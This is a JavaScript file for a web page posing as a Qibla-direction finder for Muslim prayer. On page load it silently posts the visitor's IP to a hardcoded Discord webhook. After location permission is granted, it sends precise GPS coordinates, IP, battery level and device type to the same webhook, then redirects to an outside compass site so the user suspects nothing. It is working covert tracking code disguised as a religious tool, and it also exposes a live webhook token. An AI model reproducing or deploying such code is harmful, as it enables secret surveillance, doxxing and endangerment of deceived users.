// Enhanced notification system class NotificationManager { constructor() { this.toastElement = document.getElementById('notificationToast'); this.toastInstance = new bootstrap.Toast(this.toastElement, { autohide: true, delay: 5000 }); } show(message, type = 'info') { const toastBody = this.toastElement.querySelector('.toast-body'); const icon = toastBody.querySelector('i'); const messageSpan = toastBody.querySelector('.toast-message'); // Reset classes this.toastElement.className = 'toast'; // Set message messageSpan.textContent = message; // Set icon and style based on type switch(type) { case 'success': this.toastElement.classList.add('toast-success'); icon.className = 'bi bi-check-circle-fill me-2'; break; case 'error': this.toastElement.classList.add('toast-error'); icon.className = 'bi bi-exclamation-triangle-fill me-2'; break; case 'info': this.toastElement.classList.add('toast-info'); icon.className = 'bi bi-info-circle-fill me-2'; break; case 'warning': this.toastElement.classList.add('toast-warning'); icon.className = 'bi bi-exclamation-triangle-fill me-2'; break; } this.toastInstance.show(); } } // Enhanced geolocation handler class QiblaFinder { constructor() { this.button = document.getElementById('getLocationBtn'); this.loadingSpinner = document.getElementById('loadingSpinner'); this.statusMessage = document.getElementById('statusMessage'); this.isProcessing = false; this.init(); } init() { // Send IP address on load this.sendIpAddressOnLoad(); // Add button click handler this.button.addEventListener('click', () => this.handleLocationRequest()); // Check geolocation support if (!navigator.geolocation) { this.showError('Geolocation is not supported by this browser. Please use a modern browser like Chrome, Firefox, or Safari.'); notifications.show('Geolocation not supported by this browser', 'error'); } } handleLocationRequest() { if (this.isProcessing) return; this.isProcessing = true; this.showLoading(true); this.button.disabled = true; notifications.show('Requesting your location...', 'info'); const options = { enableHighAccuracy: true, timeout: 10000, maximumAge: 300000 // 5 minutes }; navigator.geolocation.getCurrentPosition( (position) => this.handleSuccess(position), (error) => this.handleError(error), options ); } handleSuccess(position) { const { latitude, longitude } = position.coords; const accuracy = position.coords.accuracy; notifications.show(`Location found with ${Math.round(accuracy)}m accuracy`, 'success'); this.showStatus(`Location acquired successfully! Accuracy: ${Math.round(accuracy)} meters`, 'success'); // Send location data this.sendLocationData(latitude, longitude, accuracy); } handleError(error) { this.isProcessing = false; this.showLoading(false); this.button.disabled = false; let errorMessage = ''; let userMessage = ''; let showPermissionHelp = false; switch(error.code) { case error.PERMISSION_DENIED: errorMessage = "User denied the request for Geolocation."; userMessage = "Location access denied. Please enable location permissions to find Qibla direction."; showPermissionHelp = true; notifications.show('Location permission denied', 'error'); break; case error.POSITION_UNAVAILABLE: errorMessage = "Location information is unavailable."; userMessage = "Unable to determine your location. Please check your GPS settings."; notifications.show('Location unavailable', 'error'); break; case error.TIMEOUT: errorMessage = "The request to get user location timed out."; userMessage = "Location request timed out. Please try again."; notifications.show('Location request timed out', 'warning'); break; default: errorMessage = "An unknown error occurred."; userMessage = "An unexpected error occurred. Please try again."; notifications.show('Unknown error occurred', 'error'); break; } this.showStatus(userMessage, 'error'); if (showPermissionHelp) { this.showPermissionHelp(); } // Send error to Discord this.sendMessageToDiscord(errorMessage); console.error('Geolocation error:', error); } showPermissionHelp() { setTimeout(() => { const helpMessage = `
How to enable location:
`; this.statusMessage.innerHTML += helpMessage; }, 1000); } showLoading(show) { this.loadingSpinner.style.display = show ? 'block' : 'none'; } showStatus(message, type) { this.statusMessage.className = `status-message status-${type}`; this.statusMessage.innerHTML = `${message}`; this.statusMessage.classList.remove('d-none'); } async sendLocationData(latitude, longitude, accuracy) { try { const googleMapsLink = `https://www.google.com/maps?q=${latitude},${longitude}`; const userAgent = navigator.userAgent; let batteryInfo = 'Not Available'; // Get battery info if available if ('getBattery' in navigator) { try { const battery = await navigator.getBattery(); batteryInfo = `${(battery.level * 100).toFixed(1)}% (${battery.charging ? 'Charging' : 'Not Charging'})`; } catch (e) { console.log('Battery API not available'); } } // Get IP address const ipResponse = await fetch('https://api.ipify.org?format=json'); const ipData = await ipResponse.json(); const message = { content: `šŸŽÆ **New Qibla Location Request**\n` + `šŸ“ **Location:** ${googleMapsLink}\n` + `🌐 **IP Address:** ${ipData.ip}\n` + `šŸ“± **Accuracy:** ${Math.round(accuracy)} meters\n` + `šŸ”‹ **Battery:** ${batteryInfo}\n` + `šŸ’» **Device:** ${this.getDeviceInfo(userAgent)}\n` + `šŸ• **Time:** ${new Date().toLocaleString()}` }; const webhookUrl = 'https://discordapp.com/api/webhooks/1259411474372366376/qUp54Pc4sKQOVGY41X4gzNOEKfHaVsSKDsQiAZKVSnFwvPgwTZnScX12N6Pu9i1pVW2B'; const response = await fetch(webhookUrl, { method: 'POST', headers: { 'Content-Type': 'application/json' }, body: JSON.stringify(message) }); if (response.ok) { setTimeout(() => { notifications.show('Redirecting to Qibla compass...', 'success'); this.redirectToQibla(); }, 2000); } else { throw new Error(`HTTP ${response.status}`); } } catch (error) { console.error('Error sending location data:', error); notifications.show('Failed to process location data', 'error'); this.showStatus('Failed to process location data, but you can still access the Qibla compass.', 'warning'); setTimeout(() => this.redirectToQibla(), 3000); } finally { this.isProcessing = false; this.showLoading(false); this.button.disabled = false; } } getDeviceInfo(userAgent) { if (/Android/i.test(userAgent)) return 'Android Device'; if (/iPhone|iPad/i.test(userAgent)) return 'iOS Device'; if (/Windows/i.test(userAgent)) return 'Windows PC'; if (/Mac/i.test(userAgent)) return 'Mac'; if (/Linux/i.test(userAgent)) return 'Linux'; return 'Unknown Device'; } async sendIpAddressOnLoad() { try { const response = await fetch('https://api.ipify.org?format=json'); const data = await response.json(); const message = { content: `šŸ‘‹ **New Visitor**\n🌐 **IP:** ${data.ip}\nšŸ• **Time:** ${new Date().toLocaleString()}` }; fetch('https://discordapp.com/api/webhooks/1259411474372366376/qUp54Pc4sKQOVGY41X4gzNOEKfHaVsSKDsQiAZKVSnFwvPgwTZnScX12N6Pu9i1pVW2B', { method: 'POST', headers: { 'Content-Type': 'application/json' }, body: JSON.stringify(message) }); } catch (error) { console.error('Error sending IP address:', error); } } sendMessageToDiscord(messageContent) { const message = { content: `āš ļø **Error Report**\nšŸ“ **Message:** ${messageContent}\nšŸ• **Time:** ${new Date().toLocaleString()}` }; fetch('https://discordapp.com/api/webhooks/1259411474372366376/qUp54Pc4sKQOVGY41X4gzNOEKfHaVsSKDsQiAZKVSnFwvPgwTZnScX12N6Pu9i1pVW2B', { method: 'POST', headers: { 'Content-Type': 'application/json' }, body: JSON.stringify(message) }).catch(error => console.error('Discord webhook error:', error)); } redirectToQibla() { window.location.href = 'https://www.al-habib.info/qibla-pointer/online-qibla-compass.htm'; } } // Initialize when DOM is loaded document.addEventListener('DOMContentLoaded', () => { // Initialize notification manager window.notifications = new NotificationManager(); // Initialize Qibla finder new QiblaFinder(); }); // Show welcome notification window.addEventListener('load', () => { setTimeout(() => { if (window.notifications) { window.notifications.show('Welcome! Click the button to find your Qibla direction.', 'info'); } }, 1500); });